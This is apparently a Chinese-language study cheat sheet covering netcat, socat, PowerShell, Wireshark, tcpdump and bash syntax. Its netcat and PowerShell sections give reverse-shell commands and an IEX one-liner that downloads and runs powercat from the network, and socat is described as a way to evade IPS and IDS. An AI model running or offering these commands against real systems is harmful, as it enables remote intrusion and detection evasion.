NATCAT(NC)
TCP/UDP 连接和数据传输工具
nc [-nv连接-nvlp监听] [-e '/bin/bash'/'cmd.exe'远程shell] [HOST] [-p {PORT}监听] -l:监听模式,用于创建一个服务器端口并等待客户端连接。 -u:使用UDP协议而不是TCP协议。 -z:扫描模式,只扫描开放的端口,不发送任何数据。 -v:详细模式,显示更多的信息。 -w:超时时间,设置连接或读写操作的超时时间(秒)。 -n:不进行DNS解析,直接使用IP地址。 -e:执行命令,将输入和输出重定向到指定的命令。 -p:源端口号,指定本地主机的源端口号。 -s:源IP地址,指定本地主机的源IP地址。
Socat
加密 shell,支持证书加密,本质上和 nc 一致,躲避 IPS 和 IDS
IPS 和 IDS 是两种常用的网络安全设备,它们的目的是监测和防御网络中的入侵行为,保护网络资源的机密性、完整性和可用性。
IPS 是入侵防御系统(Intrusion Prevention System),它是一种主动的安全控制设备,它工作在网络层或应用层,通过在网络间相互连接的设备上加载允许、禁止来自某些特定的源地址、目的地址、TCP 端口号等规则,对通过设备的数据包进行检查,并根据内置的入侵知识库,对数据包进行深度分析,如果发现潜在的攻击行为,可以立即采取阻断、丢弃、重置等措施,阻止攻击进入内部网络。
IDS 是入侵检测系统(Intrusion Detection System),它是一种被动的安全监测设备,它工作在网络层或应用层,通过在网络上被动地、无声息地收集它所关心的报文,对收集来的报文提取相应的流量统计特征值,并利用内置的入侵知识库,与这些流量特征进行智能分析比较匹配,如果发现可疑的活动或攻击行为,可以根据相应的配置进行报警或进行有限度的反击。
IPS 和 IDS 的区别在于,IPS 是一种主动防御设备,可以实时阻止入侵行为,而 IDS 是一种被动监测设备,只能发现入侵行为并报警。
IPS 和 IDS 各有优缺点,适用于不同的场景。IPS 比较适合部署在网络边界,抵御来自外部的攻击,而 IDS 比较适合部署在网络内部,监控整个网络安全状况。
Powershell
Get-ExecutionPolicy #查看现有策略(默认为restricted,不信任ps1脚本运行) Set-ExecutionPolicy Unrestricted #将策略设置为不限制 powershell -exec bypass -c "COMMAND" #绕过现有执行策略 powershell -c "(new-object System.Net.WebClient).DownloadFile('[URL],'[TARGET]')" #通过dot.net下载文件 powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c [HOST] [-p {PORT}] -e cmd #简单的反弹shell,需要加载ps1文件(Powershell版本的Netcat) #TODO:一句话 powercatc -c [HOST] [-p {PORT}] -e cmd.exe [-g生成反弹shell代码/e用base64加密] > reverseshell.ps1 powershell.exe -E [ENCODEDSHELL] #powercat生成反弹shell
Wireshark
dumpcap 实现,默认 root/wireshark 组可用,所以要添加用户进 wireshark 用户组,允许用户在所有网卡抓包
sudo usermod -aG wireshark $USER
搜索 Flag 位上 PUSH 的值
“`tcp.flags.push==1“` 即有信息传输
tcpdump
命令行感觉还是不如 wireshark,除了能写脚本自动化
tcpdump [-r FILE] tcpdump [-n跳过DNS解析/X以16进制显示/A省略包头] [-r FILE] awk-F " " '{print $5)'| sort | uniq -c | head tcpdump [-nXA] [src host {HOST}源端口] [-r FILE] tcpdump [-nXA] [dst host {HOST}目标端口] [-r FILE] tcpdump [-nXA] [port {PORT}] [-r FILE]
bash
bash 脚本编写
#!/bin/bash #声明解析器 [KEY]=[VALUE] [KEY]=$(COMMAND) / `COMMAND` [KEY1]='STRING' [KEY2]="$KEY1" #定义变量 $0 #脚本文件名自己 $1-$9 #Bash脚本的前9个参数 $# #传递给Bash脚本的参数数量 $@ #传递给Bash脚本的所有参数 $? #最近运行的程序的退出状态 $USER #运行脚本的用户的用户名 $HOSTNAME #计算机的主机名 $RANDOM #生成个随机数 $LINENO #今脚本中的当前行号 #特殊变量 read [-p 'TOPIC'] [-s安全输入] [KEY] #读入变量 if (!)[<EXPRESSION1>] (&&)/(||) [<EXPRESSION1>] then <ACTION1> elif [<EXPRESSION2>] then <ACTION3> else <ACTION3> fi -n STRING #长度大于零 -z STRING #长度等于零 STRING1 [!]= STRING2 #字符串判断 INTEGER1 [-eq/ne/gt/lt/ge/le] INTEGER2 #e表示等于,g(reat)大于,l(ess)小于,n(o)不 [-d存在目录/e存在/r可读/s不为空/w可写/x可执行] FILE #目录/文件 #条件判断 for var_name in <list> do <ACTION> done #FOR循环 while [<EXPRESSION>] do <ACTION> done #WHILE循环 function func_name{ <ACTION> } func_name(){ <ACTION> } #函数